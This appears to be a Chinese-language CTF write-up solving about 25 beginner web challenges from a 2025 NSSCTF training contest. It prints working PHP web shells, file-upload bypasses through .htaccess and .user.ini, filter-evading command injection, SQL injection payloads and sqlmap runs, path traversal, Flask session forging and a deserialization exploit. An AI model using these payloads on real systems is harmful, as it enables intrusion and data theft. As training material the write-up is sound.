(WEB)2025 SWPU-NSSCTF 秋季招新入门训练赛 ak

2025 SWPU-NSSCTF 秋季招新入门训练赛

作者:ghsc

1.gift_F12

簽到題!!!! 按F12

ea1d840fdce1643f0679f8441d42a454.png

把WLLMCTF換成NSSCTF提交

2.Do_you_know_http

15a6aa5a5d627d7c6c6af2cbf3a3580c.png

要用bp抓包 , 可以看到出現了 Please use ‘WLLM’ browser! 在bp上開啟Repeater , 然後把包中的Uesr-Agent 方式改成WLLM

a087106c7ae1afb280efa8de4e9bda56.png

Send後服務器返回了./a.php , 可以把/hello.php 改成a.php 再Send

8ada2a790db134c7885a3af35606f208.png

要在本地才可以read , 所以在包中加入 X-Forwarded-For:127.0.0.1

93bfd15a54a6d67530a5982cd73dc321.png

返回了一個/secretttt.php , 再來把a.php 改成 secretttt.php ,得出flag

1c642baa4c8ccf941b8062e36b97b514.png

3.WebFTP

311fa37e164eb8b923532fe5b20faca2.png

使用kali 中的dirsearch 扫描 , 在kali 中打入

1
dirsearch python.py -u http://node7.anna.nssctf.cn:29562/?m=login&a=in
9a10db4e14ad10f73bf3f6772c0f6ef6.png

存在git泄露 , 使用GitHack 下載克隆目录

01adb43f1c64d8cfb3d9d1ba1fe3d795.png
1
python2 GitHack.py http://node7.anna.nssctf.cn:29562/?m=login&a=in/.git
05b1101fe54144c815914cdf75f0c960.png

空仓库。。。。。。。。。。

84fe613a7014ffd37f31a06bb249307f.png

最後在phpinfo.php中找到了flag 。。

a1d0e26387232549f1c999611ef7a649.png

4.jicao

这道题是一个php代码审计题目

1
2
3
4
5
6
7
8
<?php
highlight_file('index.php');
include("flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
?>

使用HackBar , POST 方法是 id = wllmNB , GET 方法是 json = {“x”:”wllm”} (這是json 的GET方式)

8eb0cc113238d50d6b4d6f73a89095f8.png

5.easyupload1.0

3c3df1f679fa27534846b37c7c7b74c9.png

把一句話木馬upload 上去 , 然後用BP攔下包轉去Repeater ../.

一句話木馬:

1
2
BM
<script language="php"> @eval($_POST['bhxdn']); phpinfo();</script>
44222a75c8417886544b761b68f7f345.png

把 filename 由jpg 改成 php 然後發送

e78ca8c5602c8a8b4b58322e042c57ab.png

發送成功 , 在./upload/xiaoma.php 下 , 可以看見是觸發了木馬的

c65d3a42a9304b40d43ff0a3e55c1bf6.png

然後可以開antsword add URL

f8163c307de9b0d00ede75a327993126.png

可以回到html下找到flag

f03d9d2819fbfc38b994b755f6b73674.png

flag 為????????? WLLMCTF{I_d0nt_w4nna_wak3up} ???????,記得把前頭改成 NSSCTF{…}

可是flag不正確。。。。。。。。。。。。。。在根目錄都沒有

在根目錄下打開cmd 打:

1
printenv

就有

bce1b958ab13d6b3b5372cf0549a7e1d.png

原來flag在這FLAG=NSSCTF{58c4de5b-6a3f-4dbc-8332-16ad44d25a11}

6.easyupload2.0

這一次的過濾是在後台的,所以我要想辦法去做一個php後綴繞過, 我用了deepseek寫了一個字典

a15c6720f893ee3fb529a4d60f902821.png

,先去抓包送去Intruder

7caeb4abdc3ba54e9a49950c3d72e9a2.png

把JPG$為payload 并插入字典,開始爆破 , 看看Length 427 的Response 是成功的 , 進去看看

1dcc7c64b305fb28dfd58799daf0e827.png

查一下flag的位子,得出 flag : NSSCTF{9f5d5750-9a19-48c1-b41f-51d2db3e66a5}

3bf6c15c0fc603e58634a61f1c81d911.png

7.easyupload3.0

利用.htaccess进行绕过

.htaccess 是一个用于配置 Apache web 服务器的分布式配置文件,全称为 Hypertext Access(超文本访问)。它允许网站管理员在不修改服务器主配置文件(如 httpd.conf)的情况下,对特定目录及其子目录的服务器行为进行设置,具有灵活性高、针对性强的特点。
.htaccess 的核心作用
.htaccess 文件主要用于覆盖 Apache 主配置中的默认规则,实现对目录级别的精细化控制,常见功能包括:

URL 重写(如将动态 URL 转换为静态友好的形式)。
访问控制(限制特定 IP 或用户访问)。
自定义错误页面(如 404、500 错误页)。
缓存设置(控制浏览器或服务器缓存策略)。
实现 HTTPS 强制跳转。
文件类型关联(如设置特定扩展名的 MIME 类型)等。

1
2
3
4
5
6
7
<FilesMatch "xiaoma.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

# SetHandler 指令强制指定文件的处理程序
# 这里将 "xiaoma.jpg" 交给 PHP 处理器(application/x-httpd-php)处理
# 即服务器会把这个图片文件当作 PHP 脚本执行,而非直接返回图片内容

先抓個包先 , 上傳一句話木馬.jpg

d0945bcbaab0944101929114cf63e9fd.png

試試用爆破一下

cf2ed89b24dabe2d073d1d63eb2ea044.png

最後只有htaccess成功 , 現在傳入.htaccess 腳本

730c04915892ed223f0bd9593c7b1554.png

在/upload 看看 。

1e867f19185207051fe9f6a1dd1c5845.png 24b764ecf857a0859dab633a4199f957.png

的確是執行了phpinfo.php

5a6553d967a2946298da259ca46dc083.png

NSSCTF{6b9d4421-ffc6-4432-b2d8-9f4b8e88c96c}


8.finalrce


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
if(isset($_GET['url']))
{
$url=$_GET['url'];
if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
{
echo "Sorry,you can't use this.";
}
else
{
echo "Can you see anything?";
exec($url);
}
}

(1)這裡的代碼說明GET url 不能是 “bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|-|*|"|>|<|%|$/i “

(2) exec() 沒有回顯 ,

 exec()

原型:string exec ( string $command [, array &$output [, int &$return_var ]] )

说明:

第一个参数, $command 是要执行的命令,例如: “ls -l”

第二个参数,$output 是command执行输出的结果,以数组格式存储

第三个参数,$return_var,用于保存command执行状态,0 - 成功,非零 - 失败

返回值,为command执行结果的最后一行

可參考這篇文章:

https://blog.csdn.net/afei__/article/details/81901296

tee命令:Linux tee命令用于读取标准输入的数据,并将其内容输出成文件。

管道符号 |(竖线)表示将前一个命令的输出”传递”给下一个命令作为输入。

開啟hackbar 打出 ? url = l\s / | tee test.txt , 然後 /test.txt 可看見

168505fbf862b1d969ee44775210bd39.png

有兩個像是flag的東西 a_here_is_a_f1ag 和 flllllaaaaaaggggggg ,

1
.../?url=tac  /flllll\aaaaaaggggggg | tee 1.txt

使用转义符可繞過檢測

然後 /1.txt 可看見

e96cb7f0490a1c2838e6149640b03463.png

NSSCTF{2b9d7dde-7f03-4a7f-9664-8a623ff22553}

9. PseudoProtocols

https://blog.csdn.net/IDHALASHAO/article/details/130368938

PHP伪协议

可以用

1
php://filter/read=convert.base64-encode/resource=hint.php

以base64encode 形式去輸出

24c0e5759f9d1c2eac63161ba8532905.png

base64 解碼為:

5b9d7541f10767a5bbdd79b40a93ee1e.png
1
2
3
<?php
//go to /test2222222222222.php
?>

進入後發現php代碼

1
2
3
4
5
6
7
8
9
10
<?php
ini_set("max_execution_time", "180");
show_source(__FILE__);
include('flag.php');
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
echo "success\n";
echo $flag;
}
?>

可知GET isset(a) (a存在) 和 file_get_contents(a,’r’)要嚴格 = ‘I want flag’ , 可以使用phph伪协议 用data://

1
.../....php?a=data://text/plain,I want flag
e3ce167eb017d822d02d41ebc6149ac6.png

還可以用base64

1
.../....php?a=data://text/plain;base64,SSB3YW50IGZsYWc=

10.ez_ez_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 3) === "php" ) {
echo "Nice!!!";
include($_GET["file"]);
}

else {
echo "Hacker!!";
}
}else {
highlight_file(__FILE__);
}
//flag.php

試一試/flag.php

7a7b62c2eb2672dca08985e521a0a057.png

看來要用php伪协议


php伪协议

php://filter/
读取包含php代码文件内容需要进行某种编码进行输出,不然会当作php代码执行就无法查看文章内容

利用条件
  • allow_url_fopen :off/on
  • allow_url_include:off/on
payload
1
php://filter/read=convert.base64-encode/resource=file
payload分析
  • php://filter/:这是一个 PHP 的流封装器,用于在读写数据时提供过滤功能。
  • read=convert.base64-encode/:这里指定了一个过滤器,告诉 PHP 在读取数据之前将其进行 base64 编码。convert.base64-encode是一个 PHP 内置的过滤器,用于将数据转换为 base64 编码
  • resource=file:这部分指定了要操作的资源。在这个例子中,file表示我们希望对一个文件进行操作,具体来说是对文件的内容进行 base64 编码读取
c8a9a7c8fae6f5aa36de009dc991f1d6.png 7a6c1d02bb09e707d0f779bf765dc29c.png

再改一改

1
.../?file=php://filter/read=convert.base64-encode/resource=flag
f1f266d969b3ca0389251ef3162172a4.png 52bf506872189284081ce70e94020942.png

NSSCTF{5c686f83-3496-45b9-9d79-58172f39fb9c}

11.babyRCE

1
2
3
4
5
6
7
8
9
10
11
12
<?php

$rce = $_GET['rce'];
if (isset($rce)) {
if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
system($rce);
}else {
echo "hhhhhhacker!!!"."\n";
}
} else {
highlight_file(__FILE__);
}

沒有ls 可以?rce=ls , 如下

4881e43a020115d6c69d266df2bd8107.png

可是空格被ban了 可惡啊

763b8d97fc3c333de1ea22b12041dcb0.png bcbd7da73f6551422f1dd1948360f09c.png

看來可以用

1
$IFS

过滤

1
/?rce=rev$IFS./fl\ag.php

c7e0c4aa074493852c4e0de14d3b553b.png

rev一下

e5a233ee9fed1a3a5c01044d94537910.png

NSSCTF{0b67ab0f-36eb-4b7a-b2ec-bcd591f56063}

12.导弹迷踪

這不實力嗎(bushi~~

070744670c7f9ac8af4b8a37ae9fd54b.png

看看有沒有向服務器發包 ,好像沒有

dd7b995b2302fc8d981a9b95889b9b1d.png

說明不能抓包, 只好看看源代碼了, 最後在game.js找到了

0a28277e0d4d5d864a3648198b845b02.png

13.caidao

一看就知道是fuzz了, 蟻劍啟動!!!!! wllm為密碼

最後在根目錄找到flag

cef146c06300fd3f89926762c4732a48.png ## 14.easy_sql

可以看見參數是wllm 在url?wllm=1後

eadfa8156d67834230c0e4a0b51fd586.png

先打開sqlmap ,先查本查是否有注入漏洞

1
sqlmap -u http://node7.anna.nssctf.cn:24766/?wllm=1 --risk 1 --level 1 --technique BTEU --random-agent --timeout 30 -v 1 --batch
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
---
Parameter: wllm (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: wllm=1' AND 3264=3264 AND 'PvdX'='PvdX

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: wllm=1' AND (SELECT 2246 FROM(SELECT COUNT(*),CONCAT(0x7176766271,(SELECT (ELT(2246=2246,1))),0x716b626271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'tWnq'='tWnq

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: wllm=1' AND (SELECT 5627 FROM (SELECT(SLEEP(5)))KQyT) AND 'LObx'='LObx

Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: wllm=-8611' UNION ALL SELECT NULL,CONCAT(0x7176766271,0x707a4e734470455a694f714c5377426f56435a6d4447567979594750585254684a71435578684644,0x716b626271),NULL-- -
---

用sqlmap爆庫:

1
sqlmap -u http://node7.anna.nssctf.cn:24766/?wllm=1 --dbs --risk 1 --level 1 --technique BTEU --random-agent --timeout 30 -v 1 --batch
1
2
3
4
5
6
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] test
[*] test_db

爆table:

1
sqlmap -u http://node7.anna.nssctf.cn:24766/?wllm=1 -D test_db --tables --risk 1 --level 1 --technique BTEU --random-agent --timeout 30 -v 1 --batch
1
2
3
4
5
6
Database: test_db
[2 tables]
+---------+
| test_tb |
| users |
+---------+

看看 test_tb的內容 :

1
sqlmap -u http://node7.anna.nssctf.cn:24766/?wllm=1 -D test_db --dump --risk 1 --level 1 --technique BTEU --random-agent --timeout 30 -v 1 --batch
1
2
3
4
5
6
7
8
Database: test_db
Table: test_tb
[1 entry]
+----+----------------------------------------------+
| id | flag |
+----+----------------------------------------------+
| 1 | NSSCTF{ca97d725-34c3-4a69-b0b9-21a28907ed9f} |
+----+----------------------------------------------+

15.hardrce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
$wllm = $_GET['wllm'];
$blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
foreach ($blacklist as $blackitem)
{
if (preg_match('/' . $blackitem . '/m', $wllm)) {
die("LTLT说不能用这些奇奇怪怪的符号哦!");
}}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
echo "蔡总说:注意审题!!!";
}
?> 蔡总说:注意审题!!!

可以看到eval($wllm); 是我們的攻擊點 , 目標是eval(system(“ls”)) ;

注意code 中有blacklist = [‘ ‘,’\t’,’\r’,’\n’,’+‘,’[‘,’^‘,’]‘,’"‘,’-‘,’$‘,’*‘,’?‘,’<‘,’>‘,’=‘,’`‘,];

還不能用英文 preg_match(‘/[a-zA-Z]/is’,$wllm)

那我們先打開fuzzshell 生成爆破字典

68fc75ee60f78a41d0431d475fd0455f.png

打開BP去爆破

d1ce41419b7f2b6ec5cdbdcf65ede830.png

ls 只有index.php

5694fffa82991a04e902a2ea2bb8de50.png

再看看根目錄

d231317ca11fe1a936d1cd673796df37.png

有一個flllllaaaaaaggggggg文件 , 剛剛試了試cd flllllaaaaaaggggggg沒成功 , 應該是txt文件 , 打開fuzzshell system(“cd /flllllaaaaaaggggggg”) 去重

cf1e259f7cd54ca01b87dd24fd1b7f6a.png

BP爆破一下 ,

1ead456a2dd32d44ed0184888a306ec8.png

16.sql

http://node4.anna.nssctf.cn:28194/?wllm=1

1
2
sqlmap -u http://node4.anna.nssctf.cn:28194/?wllm=1 --risk 1 --level 1 --technique BTEU --random-agent --timeout 30 -v 1 --batch
sqlmap -u http://node4.anna.nssctf.cn:28194/?wllm=1 --dbs --risk 1 --level 1 --technique BTEU --random-agent --timeout 30 -v 1 --batch
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
---
Parameter: wllm (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: wllm=1' AND 4783=4783 AND 'DgVI'='DgVI

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: wllm=1' AND (SELECT 3858 FROM(SELECT COUNT(*),CONCAT(0x716b716b71,(SELECT (ELT(3858=3858,1))),0x7170766271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'jyRE'='jyRE

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: wllm=1' AND (SELECT 2372 FROM (SELECT(SLEEP(5)))FzLh) AND 'HGWW'='HGWW

Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: wllm=-4416' UNION ALL SELECT NULL,NULL,CONCAT(0x716b716b71,0x4d46505569644a6c594c556f656e6c726f706b4d484b6c79586c7574617a6e6b6559774368484f61,0x7170766271)-- -
---
1
2
3
4
5
6
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] test
[*] test_db

查找字段数时,提示请勿非法操作

94fafbe1a6e373bab66ac9d3f430d7fb.png

说明空格出现过滤,可以用/**/绕过

1
2
3
?wllm=1%27/**/order/**/by/**/4%23

Unknown column '4' in 'order clause'

沒有4字段数为3

a4b2b77c2d1027399b7b6be442d414ad.png
1
?wllm=-1'union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=datbase()%23
a829ef4366104e99100478c564649d4f.png

看來還有过滤 =

1
?wllm=-1'union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=datbase()%23

使用like代替=

1
?wllm=-1'union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema/**/like(database())%23
0541955768dbadf0f5138e3a13144d49.png

查看LTLT_flag

1
?wllm=-1'union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name/**/like(%22LTLT_flag%22)%23
83ca98ed1f3c834abef68f4562d61d30.png
1
?wllm=-1'union/**/select/**/1,group_concat(id,flag),3/**/from/**/LTLT_flag%23
2370baa6b1f4efac7147c371cfe695f1.png

flag1 : NSSCTF{cf9ffc45-7a1

strlen(string)有20個字符

1
?wllm=-1'union/**/select/**/1,group_concat(id,flag),3/**/from/**/LTLT_flag%23

在group_concat 加一個mid(group_concat(column_name), 起始位置, 长度)

mid(……..,21,40)

1
?wllm=-1%27union/**/select/**/1,mid(group_concat(id,flag),21,40),3/**/from/**/LTLT_flag%23
40f96c8eb3a9f9156c397332ae075bcc.png

flag2 : 7-4e7a-b6d8-10ff2ead

41 - 60

86120c33fa0c7fbcc9dfe0342d825306.png

db58}

flag : NSSCTF{cf9ffc45-7a17-4e7a-b6d8-10ff2eaddb58}


17.babyphp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
highlight_file(__FILE__);
include_once('flag.php');
if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a'])){
if(isset($_POST['b1'])&&$_POST['b2']){
if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2'])){
if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2'])){
echo $flag;
}else{
echo "yee";
}
}else{
echo "nop";
}
}else{
echo "go on";
}
}else{
echo "let's get some php";
}
?>
  1. post 一個 a不可以是數字 , 但是一個數字
  2. post 兩個 b1 b2 md5值一樣
  3. post 兩個 c1 c2兩字符串不相等, md5值一樣

a可以用數組繞過 a[]=1

b1 b2 都可以用數組繞過 方法二:使用数组绕过(更简单)


如果PHP版本允许,可以尝试:

b1[]=1&b2[]=2 // NULL === NULL

c1 , c2: md5相同值文件選一個 (0e繞過) ==

1
2
s878926199a  ->0e545993274517709034328855841020
s155964671a ->0e342768416822451524974117254469
55bf9b54aede8a60262900db6606f8d2.png

18.奇妙的MD5

兩神奇的字符串

0e215962017 md5加密後 : 0e291242476940776845150308577824

ffifdyop md5加密後:** 276f722736c95d99e921722cf9ed621c** , from hex 後是** ‘or’6É]™é!r,ùíb**

ffifdyop是萬能密碼

抓個包看看

b37282e967f6ce91bd65b7ffe174a690.png

hint: select * from ‘admin’ where password=md5($pass,true)

要填寫萬能密碼: ffifdyop

1
2
3
4
5
6
<!--
$x= $GET['x'];
$y = $_GET['y'];
if($x != $y && md5($x) == md5($y)){
;
-->

(0e繞過)

1
2
s878926199a  ->0e545993274517709034328855841020
s155964671a ->0e342768416822451524974117254469
2700d2660e4a04d9c498fa1773717036.png

数组绕过

128ea3f616632eba411990eb56b74c70.png

19.高亮主题(划掉)背景查看器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

// 文件包含漏洞演示

if (isset($_GET['url'])) {

// 读取并包含用户输入的文件

$file = $_GET['url'];

if (strpos($file, '..') === false) {

include $file;

} else {

echo "Access denied.";

}

} else {

echo "No file specified.";

}

?>

dirsearch一下

51ce037052d7772b9b20fbe8a7cd6b26.png

[02:08:34] 200 - 11B - /flag , 試一試有了一個提示

8a6dc14880c549d4f517c4932b726e3e.png

flag在根目錄下

在url下不能/../../../.. , 代碼有說明 , 那BP抓一下包

02dfb9ca469befd3b4bcca77bfe9ece6.png

在切換主題時發現有POST 傳參 theme =

試一試/flag

47b31af9751041bbc61d65e8df30f718.png

不在這目錄下, ..一下

4be84a4293e0bed53f122823feda714f.png

再../../……………….

cee00419105f25959368de46b1b75db6.png

theme=../../../../../flag 成功拿到flag

20.flask?jwt?

f373c598d4c19eb78f3a03e17c9f1723.png
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>忘记密码</title>
<link type="text/css" rel="stylesheet" href="/static/css/password.css">
<script type="text/javascript" src="/static/js/jquery-1.11.1.min.js"></script>
<script type="text/javascript">
$(document).ready(function () {
var height=$(document).height();
$('.main').css('height',height);
})
</script>
</head>

<body>
<div class="main" style="height: 919px;">
<div class="main0">
<div class="formBox">
<form action="" method="post">
<h3>登录密码重置</h3>
<ul>
<li class="mainCol firLi">&gt;身份验证</li>
<li>&gt;登录密码重置</li>
<li class="lastLi">&gt;重置完成</li>
</ul>
<img src="/static/img/line.png">
<div class="itembox">
<label>邮箱号&nbsp;:</label>
<input type="text" placeholder="请输入注册邮箱号" name="email">
</div>
<div class="btnBox">
<button type="submit">发送重置密码邮件</button>
</div>
</form>
</div>
</div>
<div class="footer">
<div class="footer0">
<div class="footer_l">使用条款 | 隐私保护</div>
<div class="footer_r">
<span>© C4skg</span>
<span>有问题请发送邮件至 adm1n@flag.com </span>
</div>
</div>
</div>
</div>

<script>

</script>
</body></html>
<!-- secretkey: th3f1askisfunny -->

session偽造

th3f1askisfunny , 這個可能是session偽造

注冊一下 , 12345 12345

b01798a1df1520a7381ab32a4cfe6b57.png 86e46a2828e01e9a7aafc13852a79603.png

session = .eJwlzjEOwzAIAMC_MHcA45iQz0RgQO2aNFPVvzdS15vuA3sdeT5hex9XPmB_BWxgKjisLcamKZJCqMzdJMdcBiNjriJ9jhvQq1OvSeqZNTNDKCWKptXqohWdGV3QGuOK6BQR1I1akhZaoYyomqjqptrJl4Q7cp15_DcNvj_Owi_0.aOiRBw.bgLfdWhJg0-721Y0mDQlFm8j0gM

下載: https://github.com/noraj/flask-session-cookie-manager

我要用Ubuntu 才可以conda (web_env)

1
2
3
python3 flask_session_cookie_manager3.py decode -c ".eJwlzjEOwzAIAMC_MHcA45iQz0RgQO2aNFPVvzdS15vuA3sdeT5hex9XPmB_BWxgKjisLcamKZJCqMzdJMdcBiNjriJ9jhvQq1OvSeqZNTNDKCWKptXqohWdGV3QGuOK6BQR1I1akhZaoYyomqjqptrJl4Q7cp15_DcNvj_Owi_0.aOiRBw.bgLfdWhJg0-721Y0mDQlFm8j0gM" -s "th3f1askisfunny"

{'_fresh': True, '_id': 'a9706a25a3a9e77e7109334a7e6c563030e8774c67e60bf414fc19beefceed71e7df1caf8b79fd4330b70a230800b1ddd14a12e19f0af076dffc099ba9941b5e', '_user_id': '2'}

合理猜測id = 1

1
{'_fresh': True, '_id': 'a9706a25a3a9e77e7109334a7e6c563030e8774c67e60bf414fc19beefceed71e7df1caf8b79fd4330b70a230800b1ddd14a12e19f0af076dffc099ba9941b5e', '_user_id': '1'}
1
2
3
4
5
 python3 flask_session_cookie_manager3.py encode -s "th3f1
askisfunny" -t " {'_fresh': True, '_id': 'a9706a25a3a9e77e7109334a7e6c563030e8774c67e60bf414fc19beefceed71e7df1caf8b79fd
4330b70a230800b1ddd14a12e19f0af076dffc099ba9941b5e', '_user_id': '1'}"

.eJwlzjEOwzAIAMC_MHeAYJuQz0RgQO2aNFPVvzdS15vuA3sdeT5hex9XPmB_BWxgKjhs6camKZJCqMzNJMfsg5ExV5E2xw3o1ajVJPXMmpkhlBJF02p10YrGjC5oC-OK6BQR1IyWJC20QhlRNVHVTbWR94Q7cp15_DcE3x_Ovy_z.aOiklg.8mo1XmLqTIj-6RuRxvgu7__4Y-g
5e432dcdae883b55ace167cf0a4183b7.png e7ebc9cb9ac2e7adfe317a16803a861d.png ab72b2d9bf4d126f3f38646240947868.png

21.ez_SSTI

在kali安裝fenjing :

pip install fenjing -i https://pypi.tuna.tsinghua.edu.cn/simple

1
fenjing webui
96f12fb4d30448b04b349f1049b740c3.png

輸入參數開始爆破

22.easy_unser

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php 
include 'f14g.php';
error_reporting(0);

highlight_file(__FILE__);

class body{

private $want,$todonothing = "i can't get you want,But you can tell me before I wake up and change my mind";

public function __construct($want){
$About_me = "When the object is created,I will be called";
if($want !== " ") $this->want = $want;
else $this->want = $this->todonothing;
}
function __wakeup(){
$About_me = "When the object is unserialized,I will be called";
$but = "I can CHANGE you";
$this-> want = $but;
echo "C1ybaby!";

}
function __destruct(){
$About_me = "I'm the final function,when the object is destroyed,I will be called";
echo "So,let me see if you can get what you want\n";
if($this->todonothing === $this->want)
die("鲍勃,别傻愣着!\n");
if($this->want == "I can CHANGE you")
die("You are not you....");
if($this->want == "f14g.php" OR is_file($this->want)){
die("You want my heart?No way!\n");
}else{
echo "You got it!";
highlight_file($this->want);
}
}
}

class unserializeorder{
public $CORE = "人类最大的敌人,就是无序. Yahi param vaastavikta hai!<BR>";
function __sleep(){
$About_me = "When the object is serialized,I will be called";
echo "We Come To HNCTF,Enjoy the ser14l1zti0n <BR>";
}
function __toString(){
$About_me = "When the object is used as a string,I will be called";
return $this->CORE;
}
}

$obj = new unserializeorder();
echo $obj;
$obj = serialize($obj);


if (isset($_GET['ywant']))
{
$ywant = @unserialize(@$_GET['ywant']);
echo $ywant;
}
?>
人类最大的敌人,就是无序. Yahi param vaastavikta hai!
We Come To HNCTF,Enjoy the ser14l1zti0n

反序列化

是将 PHP 对象转换为字符串的过程,可以使用 serialize() 函数来实现。该函数将对象的状态以及它的类名和属性值编码为一个字符串。序列化后的字符串可以存储在文件中,存储在数据库中,或者通过网络传输到其他地方。

https://www.bilibili.com/video/BV1GN4y1c7ut/?spm_id_from=333.337.search-card.all.click&vd_source=b128d59725d91ecef706ce0b01795a8f

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class body{
private $want,$todonothing = "";
public function __construct($want){
$About_me = "When the object is created,I will be called";
if($want !== " ") $this->want = $want;
else $this->want = $this->todonothing;
}
}

$f = "php://filter/convert.base64-encode/resource=f14g.php";
$a = new body($f);
$b = serialize($a);
$c = preg_replace("/:2:{/",":3:{",$b);
echo urlencode($c);

?>
901aacec5c9e8f412935b1b1d82ee2df.png ddf40e1c15fcf00cddda177797c0b080.png

23.看看ip

e78ab70aec28838ebc8bb91f50c10425.png

IP是线索

加一個X-Forwarded-For

是{{}} 模板注入

07c07948454ee7ffc48f71d2eef2732d.png 73975aaedff0f314a228b66e81360da9.png 02fe2b5fd3b0159f32acd93815881dfa.png

24.怎么多了个没用的php文件

e715b46d3754d888ea7138fafc0bafe2.png 69a1a0687d44b0021a45a50f3ac70355.png

可以看見在uploads文件夾下有, 個notion.php

17919fb51068948349cf90f788b55f77.png

蚁剑 fuzz

服务器是 nginx ,所以无法使用 htaccess(超文件)

a8ae227886464f5d88225ca1e48e38b8.png

Apache 的 .htaccess 机制

  • 分布式配置:Apache 被设计为允许在每个目录下放置一个 .htaccess 文件。
  • 运行时读取:当收到一个请求时,Apache 会从网站根目录开始,一路向上查找并解析每一级目录下的 .htaccess 文件,然后实时应用其中的规则。
  • 优点:方便共享主机用户在不接触主配置文件的情况下修改配置。
  • 缺点:性能有开销,因为每个请求都可能要读取多个文件。

Nginx 的配置

  • 集中式配置:Nginx 没有类似 .htaccess 的机制。它的所有配置都集中在一个主配置文件(通常是 nginx.conf)以及通过 include 指令引入的其他配置文件中。
  • 启动时加载:Nginx 在启动或重载时,会一次性读取并编译所有配置,形成一个高效的配置树。
  • 优点:性能极高,因为处理请求时不需要再去文件系统里查找和解析额外的配置文件。
  • 缺点:用户必须能访问服务器配置文件,或者在 server 块内拥有写入权限(例如通过控制面板)

寫一下: auto_prepend_file = 1.png

改成.user.ini文件

用BP抓包 , 上傳ini文件

1
2
3
4
5
6
.user.ini
auto_prepend_file=xxx 表示在文件頭包含
auto_append_file=xxx 表示在文件尾包含


auto_prepend_file=1.jpg

.user.ini文件是一種日志包含 , 然後在訪問的時候ua加上一句話, 再上傳一個php文件來進行一個包含。

b9623524e79975298235b69e9ddb8e97.png

再上傳一句話木馬 1.jpg

1
2
3
4
<?php @
eval($_POST["123"]);
phpinfo();
?>

可以知道notion.php包含了上面的代碼, 用notion.php連線:

64a4dbb9c2cc139206a9233aaa925ead.png a770e99ebcab1e349cb7e231a2b5f1e3.png 8cc9167e7d7a68e18fa21af218e726e7.png
55e24b74ad632bb9d989ef7a1bc54d4e.png

NSSCTF{213a5655-425e-4ac9-b0bd-32f9e6ea9af4}

25.UploadBaby

可恶的前端,不让我传word 马,把你扬了就老实了

79d8ae6d5190ad9b97e4ac828c647c0b.png 176c7a599d2243f544194ea825785c48.png

http://node6.anna.nssctf.cn:29933/uploads/1.php

038c210cb9ebb9c7215a35440029c686.png b65a95273debd8677d7b34f1e4a9f167.png

26.ez_sql

